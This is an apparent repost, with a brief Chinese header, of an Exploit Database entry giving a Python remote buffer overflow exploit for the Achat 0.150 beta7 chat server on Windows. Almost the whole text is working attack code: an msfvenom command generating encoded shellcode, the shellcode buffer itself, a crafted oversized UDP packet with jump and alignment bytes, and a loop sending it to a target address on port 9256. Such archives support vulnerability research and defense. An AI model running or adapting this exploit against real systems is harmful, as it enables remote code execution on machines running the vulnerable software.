Achat 0.150 beta7 – Remote Buffer Overflow

Exploit Database
104 阅读

作者： KAhara MAnhara

日期： 2015-02-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/36025/

#!/usr/bin/python

# Author KAhara MAnhara

# Achat 0.150 beta7 - Buffer Overflow

# Tested on Windows 7 32bit

import socket

import sys, time

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

#Payload size: 512 bytes

buf =""

buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"

buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"

buf += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"

buf += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"

buf += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"

buf += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"

buf += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"

buf += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"

buf += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"

buf += "\x47\x42\x39\x75\x34\x4a\x42\x69\x6c\x77\x78\x62\x62"

buf += "\x69\x70\x59\x70\x4b\x50\x73\x30\x43\x59\x5a\x45\x50"

buf += "\x31\x67\x50\x4f\x74\x34\x4b\x50\x50\x4e\x50\x34\x4b"

buf += "\x30\x52\x7a\x6c\x74\x4b\x70\x52\x4e\x34\x64\x4b\x63"

buf += "\x42\x4f\x38\x4a\x6f\x38\x37\x6d\x7a\x4d\x56\x4d\x61"

buf += "\x49\x6f\x74\x6c\x4f\x4c\x6f\x71\x33\x4c\x69\x72\x4e"

buf += "\x4c\x4f\x30\x66\x61\x58\x4f\x5a\x6d\x59\x71\x67\x57"

buf += "\x68\x62\x48\x72\x52\x32\x50\x57\x54\x4b\x72\x32\x4e"

buf += "\x30\x64\x4b\x6e\x6a\x4d\x6c\x72\x6b\x70\x4c\x4a\x71"

buf += "\x43\x48\x39\x53\x71\x38\x6a\x61\x36\x71\x4f\x61\x62"

buf += "\x6b\x42\x39\x4f\x30\x4a\x61\x38\x53\x62\x6b\x30\x49"

buf += "\x6b\x68\x58\x63\x4e\x5a\x6e\x69\x44\x4b\x6f\x44\x72"

buf += "\x6b\x4b\x51\x36\x76\x70\x31\x69\x6f\x46\x4c\x57\x51"

buf += "\x48\x4f\x4c\x4d\x6a\x61\x55\x77\x4f\x48\x57\x70\x54"

buf += "\x35\x49\x66\x49\x73\x51\x6d\x7a\x58\x6d\x6b\x53\x4d"

buf += "\x4e\x44\x34\x35\x38\x64\x62\x38\x62\x6b\x52\x38\x6b"

buf += "\x74\x69\x71\x4a\x33\x33\x36\x54\x4b\x7a\x6c\x6e\x6b"

buf += "\x72\x6b\x51\x48\x6d\x4c\x6b\x51\x67\x63\x52\x6b\x49"

buf += "\x74\x72\x6b\x4d\x31\x7a\x30\x44\x49\x51\x34\x6e\x44"

buf += "\x4b\x74\x61\x4b\x51\x4b\x4f\x71\x51\x49\x71\x4a\x52"

buf += "\x31\x49\x6f\x69\x50\x31\x4f\x51\x4f\x6e\x7a\x34\x4b"

buf += "\x6a\x72\x38\x6b\x44\x4d\x71\x4d\x50\x6a\x59\x71\x64"

buf += "\x4d\x35\x35\x65\x62\x4b\x50\x49\x70\x4b\x50\x52\x30"

buf += "\x32\x48\x6c\x71\x64\x4b\x72\x4f\x51\x77\x59\x6f\x79"

buf += "\x45\x45\x6b\x48\x70\x75\x65\x35\x52\x30\x56\x72\x48"

buf += "\x33\x76\x35\x45\x37\x4d\x63\x6d\x49\x6f\x37\x65\x6d"

buf += "\x6c\x6a\x66\x31\x6c\x79\x7a\x51\x70\x4b\x4b\x67\x70"

buf += "\x53\x45\x6d\x35\x55\x6b\x31\x37\x4e\x33\x32\x52\x30"

buf += "\x6f\x42\x4a\x6d\x30\x50\x53\x79\x6f\x37\x65\x70\x63"

buf += "\x53\x31\x72\x4c\x30\x63\x4c\x6e\x70\x65\x32\x58\x50"

buf += "\x65\x6d\x30\x41\x41"

# Create a UDP socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

server_address = ('192.168.91.130', 9256)

fs = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"

p= "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"

p += "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)

p += "\x62" + "A"*45

p += "\x61\x40"

p += "\x2A\x46"

p += "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"

p += "\x61\x43" + "\x2A\x46"

p += "\x2A" + fs + "C" * (157-len(fs)- 31-3)

p += buf + "A" * (1152 - len(buf))

p += "\x00" + "A"*10 + "\x00"

print "---->{P00F}!"

i=0

while i<len(p):

if i > 172000:

time.sleep(1.0)

sent = sock.sendto(p[i:(i+8192)], server_address)

i += sent

sock.close()